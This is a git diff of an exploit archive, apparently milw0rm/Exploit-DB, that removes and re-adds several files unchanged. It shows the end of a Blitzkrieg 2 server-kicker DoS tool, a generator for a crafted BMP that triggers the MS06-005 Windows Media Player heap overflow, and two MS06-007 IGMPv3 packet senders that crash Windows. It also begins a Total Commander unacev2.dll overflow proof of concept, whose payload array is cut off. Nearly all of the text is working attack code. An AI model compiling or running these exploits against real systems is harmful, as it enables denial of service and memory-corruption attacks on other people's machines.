+#endif
+
+
+    setbuf(stdout, NULL);
+
+    fputs("\n"
+        "Blitzkrieg 2 <= 1.21 players kicker "VER"\n"
+        "by Luigi Auriemma\n"
+        "e-mail: aluigi@autistici.org\n"
+        "web:    http://aluigi.altervista.org\n"
+        "\n", stdout);
+
+    if(argc < 3) {
+        printf("\n"
+            "Usage: %s <host> <port>\n"
+            "\n"
+            "Note: port is usually 4201 for LAN and 1028 for Internet\n"
+            "Note: this tool works versus both server (better) and clients, but naturally\n"
+            "      you need to know their IP addresses of these last to kick them directly\n"
+            "\n", argv[0]);
+        exit(1);
+    }
+
+    port                  = atoi(argv[2]);
+    peer.sin_addr.s_addr  = resolv(argv[1]);
+    peer.sin_port         = htons(port);
+    peer.sin_family       = AF_INET;
+
+    printf("- target   %s : %hu\n",
+        inet_ntoa(peer.sin_addr), port);
+
+    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
+    if(sd < 0) std_err();
+    if(sendto(sd, B2OUT, sizeof(B2OUT) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
+      < 0) std_err();
+    close(sd);
+
+    fputs("\nServer should be no longer available, check it manually\n\n", stdout);
+    return(0);
+}
+
+
+
+u_int resolv(char *host) {
+    struct  hostent *hp;
+    u_int   host_ip;
+
+    host_ip = inet_addr(host);
+    if(host_ip == INADDR_NONE) {
+        hp = gethostbyname(host);
+        if(!hp) {
+            printf("\nError: Unable to resolv hostname (%s)\n", host);
+            exit(1);
+        } else host_ip = *(u_int *)hp->h_addr;
+    }
+    return(host_ip);
+}
+
+
+
+#ifndef WIN32
+    void std_err(void) {
+        perror("\nError");
+        exit(1);
+    }
+#endif
+
+// milw0rm.com [2005-11-02]
diff --git a/platforms/windows/dos/1500.cpp b/platforms/windows/dos/1500.cpp
index ca2b38a70..a6dd8863c 100755
--- a/platforms/windows/dos/1500.cpp
+++ b/platforms/windows/dos/1500.cpp
@@ -1,143 +1,143 @@
-/*
-* For Remote Exploration (hint):
-* http://www.spyinstructors.com/atmaca/research/wmp_remote_poc.asx
-*/
-
-/*
-*
-* Windows Media Player BMP Heap Overflow (MS06-005)
-* Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html
-* Exploit coded by ATmaCA
-* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
-* E-Mail: atmaca@icqmail.com
-* Credit to Kozan
-*
-*/
-
-/*
-*
-* Systems Affected:
-* Microsoft Windows Media Player 7.1 through 10
-*
-* Windows NT 4.0
-* Windows 98 / ME
-* Windows 2000 SP4
-* Windows XP SP1 / SP2
-* Windows 2003
-*
-*
-*/
-
-/*
-*
-* In this vulnerability,payload is loaded to different places in memory each time.
-* but some time is very easy to call our shell code :
-* http://www.spyinstructors.com/atmaca/research/wmp.JPG
-* but some times not =) because of ,no shell this time
-*
-*/
-
-/*
-*
-* Microsoft has released a patch for this vulnerability.
-* The patch is available at:
-* http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx
-*
-*/
-
-#include <windows.h>
-#include <stdio.h>
-
-#define BITMAP_FILE_SIZE        0xA8D2
-#define BITMAP_FILE_NAME        "crafted.bmp"
-
-#pragma pack( push )
-#pragma pack( 1 )
-
-// bitmap file format - http://atlc.sourceforge.net/bmp.html
-//File information header provides general information about the file
-typedef struct _BitmapFileHeader {
-  WORD    bfType;
-  DWORD   bfSize;
-  WORD    bfReserved1;
-  WORD    bfReserved2;
-  DWORD   bfOffBits;
-} BMPFHEADER;
-
-//Bitmap information header provides information specific to the image data
-typedef struct _BitmapInfoHeader{
-  DWORD  biSize;
-  LONG   biWidth;
-  LONG   biHeight;
-  WORD   biPlanes;
-  WORD   biBitCount;
-  DWORD  biCompression;
-  DWORD  biSizeImage;
-  LONG   biXPelsPerMeter;
-  LONG   biYPelsPerMeter;
-  DWORD  biClrUsed;
-  DWORD  biClrImportant;
-} BMPIHEADER;
-
-#pragma pack( pop )
-
-int main(void)
-{
-        FILE *File;
-        BMPFHEADER *bmp_fheader;
-        BMPIHEADER *bmp_iheader;
-        char *pszBuffer;
-
-        printf("\nWindows Media Player BMP Heap Overflow (MS06-005)");
-        printf("\nBug discovered by eEye");
-        printf("\nExploit coded by ATmaCA");
-        printf("\nWeb: http://www.spyinstructors.com  && http://www.atmacasoft.com");
-        printf("\nE-Mail: atmaca@icqmail.com");
-        printf("\nCredit to Kozan");
-
-
-        if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) {
-                printf("\n [E:] fopen()");
-                exit(1);
-        }
-
-        bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER));
-        bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER));
-        pszBuffer = (char*)malloc(BITMAP_FILE_SIZE);
-
-        memset(pszBuffer,0x41,BITMAP_FILE_SIZE);
-
-        bmp_fheader->bfType = 0x4D42; // "BM"
-        bmp_fheader->bfSize = BITMAP_FILE_SIZE;
-        bmp_fheader->bfReserved1 = 0x00;
-        bmp_fheader->bfReserved2 = 0x00;
-
-        // eEye - MAGIC
-        // Antiviruses will get the signature from here!!!
-        bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) );
-
-        bmp_iheader->biSize = 0x28;
-        bmp_iheader->biWidth = 0x91;
-        bmp_iheader->biHeight = 0x63;
-        bmp_iheader->biPlanes = 0x01;
-        bmp_iheader->biBitCount = 0x18;
-        bmp_iheader->biCompression = 0x00;
-        bmp_iheader->biSizeImage = 0xA89C;
-        bmp_iheader->biXPelsPerMeter = 0x00;
-        bmp_iheader->biYPelsPerMeter = 0x00;
-        bmp_iheader->biClrUsed = 0x00;
-        bmp_iheader->biClrImportant = 0x00;
-
-        memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER));
-        memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER));
-
-        fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File);
-        fwrite("\x00", 1,1, File); //Terminator
-
-        fclose(File);
-        printf("\n\n"  BITMAP_FILE_NAME" has been created in the current directory.\n");
-
-        return 1;
-}
-
-// milw0rm.com [2006-02-15]
+/*
+* For Remote Exploration (hint):
+* http://www.spyinstructors.com/atmaca/research/wmp_remote_poc.asx
+*/
+
+/*
+*
+* Windows Media Player BMP Heap Overflow (MS06-005)
+* Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html
+* Exploit coded by ATmaCA
+* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
+* E-Mail: atmaca@icqmail.com
+* Credit to Kozan
+*
+*/
+
+/*
+*
+* Systems Affected:
+* Microsoft Windows Media Player 7.1 through 10
+*
+* Windows NT 4.0
+* Windows 98 / ME
+* Windows 2000 SP4
+* Windows XP SP1 / SP2
+* Windows 2003
+*
+*
+*/
+
+/*
+*
+* In this vulnerability,payload is loaded to different places in memory each time.
+* but some time is very easy to call our shell code :
+* http://www.spyinstructors.com/atmaca/research/wmp.JPG
+* but some times not =) because of ,no shell this time
+*
+*/
+
+/*
+*
+* Microsoft has released a patch for this vulnerability.
+* The patch is available at:
+* http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx
+*
+*/
+
+#include <windows.h>
+#include <stdio.h>
+
+#define BITMAP_FILE_SIZE        0xA8D2
+#define BITMAP_FILE_NAME        "crafted.bmp"
+
+#pragma pack( push )
+#pragma pack( 1 )
+
+// bitmap file format - http://atlc.sourceforge.net/bmp.html
+//File information header provides general information about the file
+typedef struct _BitmapFileHeader {
+  WORD    bfType;
+  DWORD   bfSize;
+  WORD    bfReserved1;
+  WORD    bfReserved2;
+  DWORD   bfOffBits;
+} BMPFHEADER;
+
+//Bitmap information header provides information specific to the image data
+typedef struct _BitmapInfoHeader{
+  DWORD  biSize;
+  LONG   biWidth;
+  LONG   biHeight;
+  WORD   biPlanes;
+  WORD   biBitCount;
+  DWORD  biCompression;
+  DWORD  biSizeImage;
+  LONG   biXPelsPerMeter;
+  LONG   biYPelsPerMeter;
+  DWORD  biClrUsed;
+  DWORD  biClrImportant;
+} BMPIHEADER;
+
+#pragma pack( pop )
+
+int main(void)
+{
+        FILE *File;
+        BMPFHEADER *bmp_fheader;
+        BMPIHEADER *bmp_iheader;
+        char *pszBuffer;
+
+        printf("\nWindows Media Player BMP Heap Overflow (MS06-005)");
+        printf("\nBug discovered by eEye");
+        printf("\nExploit coded by ATmaCA");
+        printf("\nWeb: http://www.spyinstructors.com  && http://www.atmacasoft.com");
+        printf("\nE-Mail: atmaca@icqmail.com");
+        printf("\nCredit to Kozan");
+
+
+        if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) {
+                printf("\n [E:] fopen()");
+                exit(1);
+        }
+
+        bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER));
+        bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER));
+        pszBuffer = (char*)malloc(BITMAP_FILE_SIZE);
+
+        memset(pszBuffer,0x41,BITMAP_FILE_SIZE);
+
+        bmp_fheader->bfType = 0x4D42; // "BM"
+        bmp_fheader->bfSize = BITMAP_FILE_SIZE;
+        bmp_fheader->bfReserved1 = 0x00;
+        bmp_fheader->bfReserved2 = 0x00;
+
+        // eEye - MAGIC
+        // Antiviruses will get the signature from here!!!
+        bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) );
+
+        bmp_iheader->biSize = 0x28;
+        bmp_iheader->biWidth = 0x91;
+        bmp_iheader->biHeight = 0x63;
+        bmp_iheader->biPlanes = 0x01;
+        bmp_iheader->biBitCount = 0x18;
+        bmp_iheader->biCompression = 0x00;
+        bmp_iheader->biSizeImage = 0xA89C;
+        bmp_iheader->biXPelsPerMeter = 0x00;
+        bmp_iheader->biYPelsPerMeter = 0x00;
+        bmp_iheader->biClrUsed = 0x00;
+        bmp_iheader->biClrImportant = 0x00;
+
+        memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER));
+        memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER));
+
+        fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File);
+        fwrite("\x00", 1,1, File); //Terminator
+
+        fclose(File);
+        printf("\n\n"  BITMAP_FILE_NAME" has been created in the current directory.\n");
+
+        return 1;
+}
+
+// milw0rm.com [2006-02-15]
diff --git a/platforms/windows/dos/1599.cpp b/platforms/windows/dos/1599.cpp
index 49fff4965..36d873651 100755
--- a/platforms/windows/dos/1599.cpp
+++ b/platforms/windows/dos/1599.cpp
@@ -1,226 +1,226 @@
-/*
-        IGMP v3 DoS Exploit
-
-        ref: http://www.juniper.net/security/auto/vulnerabilities/vuln2866.html
-        ref: http://www.microsoft.com/technet/security/Bulletin/MS06-007.mspx
-
-
-        by Alexey Sintsov (dookie@inbox.ru)
-
-
-        Req:
-
-                Administrator rights on system
-                Windows Firewall off (for sending RAW packets)
-
-        Affected Products:
-                Microsoft Corporation Windows XP All
-                Microsoft Corporation Windows Server 2003 All
- */
-
-
-#include <stdio.h>
-#include <winsock2.h>
-
-
-#pragma comment(lib, "Ws2_32.lib")
-
-typedef struct iphdr
-{
-
-        unsigned char  verlen;                  // IP version & length
-        unsigned char  tos;                             // Type of service
-        unsigned short total_len;               // Total length of the packet
-        unsigned short ident;                   // Unique identifier
-        unsigned short frag_and_flags;  // Flags
-        unsigned char  ttl;                             // Time to live
-        unsigned char  proto;                   // Protocol (TCP, UDP etc)
-        unsigned short checksum;                // IP checksum
-        unsigned int   sourceIP;                // Source IP
-        unsigned int   destIP;                  // Destination IP
-        unsigned short  options[2];
-
-} IPHEADER;
-
-
-
-
-typedef struct igmphdr {
-          unsigned char                 type;
-          unsigned char                 code;
-                  unsigned short        checksum;
-                  unsigned long                 group;
-                  unsigned char                 ResvSQVR;
-                  unsigned char                 QQIC;
-                  unsigned short                num;
-                  unsigned long                 addes;
-
- } IGMPHEADER;
-
-
-
-
-
-
-USHORT checksum(USHORT *buffer, int size)
-{
-    unsigned long cksum=0;
-
-    while (size > 1) {
-        cksum += *buffer++;
-        size  -= sizeof(USHORT);
-    }
-
-    if (size)
-        cksum += *(UCHAR*)buffer;
-
-    cksum = (cksum >> 16) + (cksum & 0xffff);
-    cksum += (cksum >>16);
-
-    return (USHORT)(~cksum);
-}
-
-int sendIGMP(char* a, char* b)
-{
-
-
-        unsigned int dst_addr, src_addr;
-
-        IPHEADER ipHeader;
-        IGMPHEADER igmpHeader;
-
-
-
-        dst_addr=inet_addr (b);
-        src_addr=inet_addr (a);
-
-
-        char szSendBuf[60]={0};
-        int rect;
-
-        WSADATA WSAData;
-        if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
-                return FALSE;
-
-        SOCKET sock;
-        if ((sock = WSASocket(AF_INET,SOCK_RAW,
-                IPPROTO_RAW,NULL,0, 0x01)) == INVALID_SOCKET) {
-                printf("Create socket error");
-                WSACleanup();
-                return FALSE;
-        }
-
-
-        BOOL flag=TRUE;
-        if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag)) ==
-SOCKET_ERROR) {
-                printf("Set options error");
-                closesocket(sock);
-                WSACleanup();
-                return FALSE;
-        }
-
-
-
-        SOCKADDR_IN ssin;
-        memset(&ssin, 0, sizeof(ssin));
-        ssin.sin_family=AF_INET;
-        ssin.sin_port=htons(99);
-        ssin.sin_addr.s_addr=dst_addr;
-
-
-        ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
-
-
-        ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(igmpHeader));
-
-
-        ipHeader.ident=htons(0);
-
-        ipHeader.frag_and_flags=0;
-
-        ipHeader.ttl=128;
-        ipHeader.proto=IPPROTO_IGMP;
-
-        ipHeader.checksum=0;
-
-
-        ipHeader.tos=0;
-
-        ipHeader.destIP=dst_addr;
-        ipHeader.sourceIP=src_addr;
-
-        //Ip options
-        ipHeader.options[0]=htons(0x0000); //bug is here =)
-        ipHeader.options[1]=htons(0x0000);
-
-
-        igmpHeader.type=0x11; //v3 Membership Query
-        igmpHeader.code=5;
-        igmpHeader.num=htons(1);
-        igmpHeader.ResvSQVR=0x0;
-        igmpHeader.QQIC=0;
-        igmpHeader.group=inet_addr("0.0.0.0");
-        igmpHeader.addes=dst_addr;
-
-        igmpHeader.checksum=0;
-
-
-        memcpy(szSendBuf, &igmpHeader, sizeof(igmpHeader));
-
-        igmpHeader.checksum=checksum((USHORT *)szSendBuf,sizeof(igmpHeader));
-
-        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
-        memcpy(szSendBuf+sizeof(ipHeader), &igmpHeader, sizeof(igmpHeader));
-        memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);
-
-        ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf,
-sizeof(ipHeader)+sizeof(igmpHeader)));
-
-        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
-
-
-        rect=sendto(sock, szSendBuf,
-sizeof(ipHeader)+sizeof(igmpHeader),0,(LPSOCKADDR)&ssin, sizeof(ssin));
-
-        if (rect==SOCKET_ERROR) {
-                printf("Send error: <%d>\n",WSAGetLastError());
-        closesocket(sock);
-                WSACleanup();
-                return 0;
-        }
-
-
-
-        closesocket(sock);
-        WSACleanup();
-
-
-
-return 1;
-
-
-}
-
-
-
-main(int argc, char **argv)
-{
-
-
-        if(argc<2)
-        {
-                printf("\nIGMP v3 DoS Exploit (MS06-007) by Alexey Sintsov(dookie@inbox.ru)\n\n");
-                printf("Usage:\n");
-                printf("c:\\igmps.exe <target ip> <source ip>\n\n");
-                exit(0);
-        }
-
-
-        sendIGMP(argv[2],  argv[1]);
-
-
-        return 0;
-}
-
-// milw0rm.com [2006-03-21]
+/*
+        IGMP v3 DoS Exploit
+
+        ref: http://www.juniper.net/security/auto/vulnerabilities/vuln2866.html
+        ref: http://www.microsoft.com/technet/security/Bulletin/MS06-007.mspx
+
+
+        by Alexey Sintsov (dookie@inbox.ru)
+
+
+        Req:
+
+                Administrator rights on system
+                Windows Firewall off (for sending RAW packets)
+
+        Affected Products:
+                Microsoft Corporation Windows XP All
+                Microsoft Corporation Windows Server 2003 All
+ */
+
+
+#include <stdio.h>
+#include <winsock2.h>
+
+
+#pragma comment(lib, "Ws2_32.lib")
+
+typedef struct iphdr
+{
+
+        unsigned char  verlen;                  // IP version & length
+        unsigned char  tos;                             // Type of service
+        unsigned short total_len;               // Total length of the packet
+        unsigned short ident;                   // Unique identifier
+        unsigned short frag_and_flags;  // Flags
+        unsigned char  ttl;                             // Time to live
+        unsigned char  proto;                   // Protocol (TCP, UDP etc)
+        unsigned short checksum;                // IP checksum
+        unsigned int   sourceIP;                // Source IP
+        unsigned int   destIP;                  // Destination IP
+        unsigned short  options[2];
+
+} IPHEADER;
+
+
+
+
+typedef struct igmphdr {
+          unsigned char                 type;
+          unsigned char                 code;
+                  unsigned short        checksum;
+                  unsigned long                 group;
+                  unsigned char                 ResvSQVR;
+                  unsigned char                 QQIC;
+                  unsigned short                num;
+                  unsigned long                 addes;
+
+ } IGMPHEADER;
+
+
+
+
+
+
+USHORT checksum(USHORT *buffer, int size)
+{
+    unsigned long cksum=0;
+
+    while (size > 1) {
+        cksum += *buffer++;
+        size  -= sizeof(USHORT);
+    }
+
+    if (size)
+        cksum += *(UCHAR*)buffer;
+
+    cksum = (cksum >> 16) + (cksum & 0xffff);
+    cksum += (cksum >>16);
+
+    return (USHORT)(~cksum);
+}
+
+int sendIGMP(char* a, char* b)
+{
+
+
+        unsigned int dst_addr, src_addr;
+
+        IPHEADER ipHeader;
+        IGMPHEADER igmpHeader;
+
+
+
+        dst_addr=inet_addr (b);
+        src_addr=inet_addr (a);
+
+
+        char szSendBuf[60]={0};
+        int rect;
+
+        WSADATA WSAData;
+        if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
+                return FALSE;
+
+        SOCKET sock;
+        if ((sock = WSASocket(AF_INET,SOCK_RAW,
+                IPPROTO_RAW,NULL,0, 0x01)) == INVALID_SOCKET) {
+                printf("Create socket error");
+                WSACleanup();
+                return FALSE;
+        }
+
+
+        BOOL flag=TRUE;
+        if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag)) ==
+SOCKET_ERROR) {
+                printf("Set options error");
+                closesocket(sock);
+                WSACleanup();
+                return FALSE;
+        }
+
+
+
+        SOCKADDR_IN ssin;
+        memset(&ssin, 0, sizeof(ssin));
+        ssin.sin_family=AF_INET;
+        ssin.sin_port=htons(99);
+        ssin.sin_addr.s_addr=dst_addr;
+
+
+        ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
+
+
+        ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(igmpHeader));
+
+
+        ipHeader.ident=htons(0);
+
+        ipHeader.frag_and_flags=0;
+
+        ipHeader.ttl=128;
+        ipHeader.proto=IPPROTO_IGMP;
+
+        ipHeader.checksum=0;
+
+
+        ipHeader.tos=0;
+
+        ipHeader.destIP=dst_addr;
+        ipHeader.sourceIP=src_addr;
+
+        //Ip options
+        ipHeader.options[0]=htons(0x0000); //bug is here =)
+        ipHeader.options[1]=htons(0x0000);
+
+
+        igmpHeader.type=0x11; //v3 Membership Query
+        igmpHeader.code=5;
+        igmpHeader.num=htons(1);
+        igmpHeader.ResvSQVR=0x0;
+        igmpHeader.QQIC=0;
+        igmpHeader.group=inet_addr("0.0.0.0");
+        igmpHeader.addes=dst_addr;
+
+        igmpHeader.checksum=0;
+
+
+        memcpy(szSendBuf, &igmpHeader, sizeof(igmpHeader));
+
+        igmpHeader.checksum=checksum((USHORT *)szSendBuf,sizeof(igmpHeader));
+
+        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
+        memcpy(szSendBuf+sizeof(ipHeader), &igmpHeader, sizeof(igmpHeader));
+        memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);
+
+        ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf,
+sizeof(ipHeader)+sizeof(igmpHeader)));
+
+        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
+
+
+        rect=sendto(sock, szSendBuf,
+sizeof(ipHeader)+sizeof(igmpHeader),0,(LPSOCKADDR)&ssin, sizeof(ssin));
+
+        if (rect==SOCKET_ERROR) {
+                printf("Send error: <%d>\n",WSAGetLastError());
+        closesocket(sock);
+                WSACleanup();
+                return 0;
+        }
+
+
+
+        closesocket(sock);
+        WSACleanup();
+
+
+
+return 1;
+
+
+}
+
+
+
+main(int argc, char **argv)
+{
+
+
+        if(argc<2)
+        {
+                printf("\nIGMP v3 DoS Exploit (MS06-007) by Alexey Sintsov(dookie@inbox.ru)\n\n");
+                printf("Usage:\n");
+                printf("c:\\igmps.exe <target ip> <source ip>\n\n");
+                exit(0);
+        }
+
+
+        sendIGMP(argv[2],  argv[1]);
+
+
+        return 0;
+}
+
+// milw0rm.com [2006-03-21]
diff --git a/platforms/windows/dos/1603.c b/platforms/windows/dos/1603.c
index af775ee67..a0dae6df6 100755
--- a/platforms/windows/dos/1603.c
+++ b/platforms/windows/dos/1603.c
@@ -1,162 +1,162 @@
-/* MS06-007 Denial of Service POC exploit
-   created by Firestorm, based on zloSend.exe win32 exploit (http://www.securitylab.ru/poc/264136.php)
-   Tested on Windows XP SP2 as victim (compiled/runned on Fedore Core 4 x86)
-   FOR EDUCATIONAL PURPOSE ONLY !!!      */
-#include <stdio.h>
-#include <string.h>
-#include <stdlib.h>
-#include <netinet/in.h>
-#include <netdb.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <arpa/inet.h>
-#include <unistd.h>
-
-
-struct iphdr
-{
-  unsigned char ihl:4, version:4, tos;
-  unsigned short tot_len, id, frag_off;
-  unsigned char ttl, protocol;
-  unsigned short check;
-  unsigned int saddr, daddr;
-  unsigned int options1;
-  unsigned int options2;
-};
-
-
-struct igmpv3_query {
-        unsigned char type;
-        unsigned char code;
-        unsigned short csum;
-        unsigned int group;
-        unsigned char qqic;
-        unsigned char qrv:3,
-        suppress:1,
-        resv:4;
-        unsigned short nsrcs;
-        unsigned int srcs[1];
-};
-
-
-unsigned short in_chksum(unsigned short *, int);
-long resolve(char *);
-
-
-long resolve(char *host)
-{
-  struct hostent *hst;
-  long addr;
-
-
-  hst = gethostbyname(host);
-  if (hst == NULL)
-    return(-1);
-
-
-  memcpy(&addr, hst->h_addr, hst->h_length);
-
-
-  return(addr);
-}
-
-
-int main(int argc, char *argv[])
-{
-  struct sockaddr_in dst;
-  struct iphdr *ip;
-  struct igmpv3_query *igmp;
-  long daddr, saddr;
-  int s, i=0, c, len, one=1;
-  char buf[1500];
-
-
-  if (argc < 3)
-  {
-    printf("MS06-007 Denial of Service POC exploit by Firestorm\n");
-    printf("Usage: %s <src> <dst>\n", *argv);
-    return(1);
-  }
-
-
-  daddr = resolve(argv[2]);
-  saddr = resolve(argv[1]);
-
-
-  memset(buf, 0, 1500);
-  ip = (struct iphdr *)&buf;
-  igmp = (struct igmpv3_query*)&buf[sizeof(struct iphdr)];
-
-
-  dst.sin_addr.s_addr = daddr;
-  dst.sin_family = AF_INET;
-
-
-  ip->ihl = 7;
-  ip->version = 4;
-  ip->tos = 0;
-  ip->tot_len = htons(44);
-  ip->id = htons(18277);
-  ip->frag_off=0;
-  ip->ttl = 128;
-  ip->protocol = IPPROTO_IGMP;
-  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
-  ip->saddr = saddr;
-  ip->daddr = daddr;
-  ip->options1 = 0;
-  ip->options2 = 0;
-  igmp->type = 0x11;
-  igmp->code = 5;
-  igmp->group=inet_addr("224.0.0.1");
-  igmp->qqic=0;
-  igmp->qrv=0;
-  igmp->suppress=0;
-  igmp->resv=0;
-  igmp->nsrcs=htons(1);
-  igmp->srcs[0]=daddr;
-
-  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
-  igmp->csum=in_chksum((unsigned short *)igmp, sizeof(struct igmpv3_query));
-
-  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
-  if (s == -1)
-    return(1);
-
-  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);
-
-      if (sendto(s,&buf,44,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
-      {
-        perror("Error sending packet");
-        exit(-1);
-      }
-
-  return(0);
-}
-
-
-unsigned short in_chksum(unsigned short *addr, int len)
-{
-   register int nleft = len;
-   register int sum = 0;
-   u_short answer = 0;
-
-   while (nleft > 1) {
-      sum += *addr++;
-      nleft -= 2;
-   }
-
-
-   if (nleft == 1) {
-      *(u_char *)(&answer) = *(u_char *)addr;
-      sum += answer;
-   }
-
-
-   sum = (sum >> 16) + (sum & 0xffff);
-   sum += (sum >> 16);
-   answer = ~sum;
-   return(answer);
-}
-
-// milw0rm.com [2006-03-22]
+/* MS06-007 Denial of Service POC exploit
+   created by Firestorm, based on zloSend.exe win32 exploit (http://www.securitylab.ru/poc/264136.php)
+   Tested on Windows XP SP2 as victim (compiled/runned on Fedore Core 4 x86)
+   FOR EDUCATIONAL PURPOSE ONLY !!!      */
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <netinet/in.h>
+#include <netdb.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+
+
+struct iphdr
+{
+  unsigned char ihl:4, version:4, tos;
+  unsigned short tot_len, id, frag_off;
+  unsigned char ttl, protocol;
+  unsigned short check;
+  unsigned int saddr, daddr;
+  unsigned int options1;
+  unsigned int options2;
+};
+
+
+struct igmpv3_query {
+        unsigned char type;
+        unsigned char code;
+        unsigned short csum;
+        unsigned int group;
+        unsigned char qqic;
+        unsigned char qrv:3,
+        suppress:1,
+        resv:4;
+        unsigned short nsrcs;
+        unsigned int srcs[1];
+};
+
+
+unsigned short in_chksum(unsigned short *, int);
+long resolve(char *);
+
+
+long resolve(char *host)
+{
+  struct hostent *hst;
+  long addr;
+
+
+  hst = gethostbyname(host);
+  if (hst == NULL)
+    return(-1);
+
+
+  memcpy(&addr, hst->h_addr, hst->h_length);
+
+
+  return(addr);
+}
+
+
+int main(int argc, char *argv[])
+{
+  struct sockaddr_in dst;
+  struct iphdr *ip;
+  struct igmpv3_query *igmp;
+  long daddr, saddr;
+  int s, i=0, c, len, one=1;
+  char buf[1500];
+
+
+  if (argc < 3)
+  {
+    printf("MS06-007 Denial of Service POC exploit by Firestorm\n");
+    printf("Usage: %s <src> <dst>\n", *argv);
+    return(1);
+  }
+
+
+  daddr = resolve(argv[2]);
+  saddr = resolve(argv[1]);
+
+
+  memset(buf, 0, 1500);
+  ip = (struct iphdr *)&buf;
+  igmp = (struct igmpv3_query*)&buf[sizeof(struct iphdr)];
+
+
+  dst.sin_addr.s_addr = daddr;
+  dst.sin_family = AF_INET;
+
+
+  ip->ihl = 7;
+  ip->version = 4;
+  ip->tos = 0;
+  ip->tot_len = htons(44);
+  ip->id = htons(18277);
+  ip->frag_off=0;
+  ip->ttl = 128;
+  ip->protocol = IPPROTO_IGMP;
+  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
+  ip->saddr = saddr;
+  ip->daddr = daddr;
+  ip->options1 = 0;
+  ip->options2 = 0;
+  igmp->type = 0x11;
+  igmp->code = 5;
+  igmp->group=inet_addr("224.0.0.1");
+  igmp->qqic=0;
+  igmp->qrv=0;
+  igmp->suppress=0;
+  igmp->resv=0;
+  igmp->nsrcs=htons(1);
+  igmp->srcs[0]=daddr;
+
+  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
+  igmp->csum=in_chksum((unsigned short *)igmp, sizeof(struct igmpv3_query));
+
+  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
+  if (s == -1)
+    return(1);
+
+  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);
+
+      if (sendto(s,&buf,44,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
+      {
+        perror("Error sending packet");
+        exit(-1);
+      }
+
+  return(0);
+}
+
+
+unsigned short in_chksum(unsigned short *addr, int len)
+{
+   register int nleft = len;
+   register int sum = 0;
+   u_short answer = 0;
+
+   while (nleft > 1) {
+      sum += *addr++;
+      nleft -= 2;
+   }
+
+
+   if (nleft == 1) {
+      *(u_char *)(&answer) = *(u_char *)addr;
+      sum += answer;
+   }
+
+
+   sum = (sum >> 16) + (sum & 0xffff);
+   sum += (sum >> 16);
+   answer = ~sum;
+   return(answer);
+}
+
+// milw0rm.com [2006-03-22]
diff --git a/platforms/windows/dos/1633.c b/platforms/windows/dos/1633.c
index 6567b6114..928976a8f 100755
--- a/platforms/windows/dos/1633.c
+++ b/platforms/windows/dos/1633.c
@@ -1,51 +1,51 @@
-/*
---
-/\
-\/	Total Commander unacev2.dll Buffer Overflow PoC Exploit
-/\			by Darkeagle of Unl0ck Research Team
-\/					http://unl0ck.net
-/\	
-\/	when file will be created, try to open archive in TotalCmd and then unpack it ;)
-/\
-\/
---
-*/
-#include <string.h>
-#include <stdio.h>
-
-unsigned char evil_ace[] = 
-	"\x29\x8F\x31\x00\x00\x00\x90\x2A\x2A\x41\x43\x45\x2A\x2A\x14\x14" 
-	"\x02\x00\x79\xB5\x7F\x34\xFE\xE2\x05\xA5\x00\x00\x00\x00\x16\x2A" 
-	"\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52" 
-	"\x53\x49\x4F\x4E\x2A\x7F\x30\x1E\x01\x01\x01\x00\x00\x00\x00\x00" 
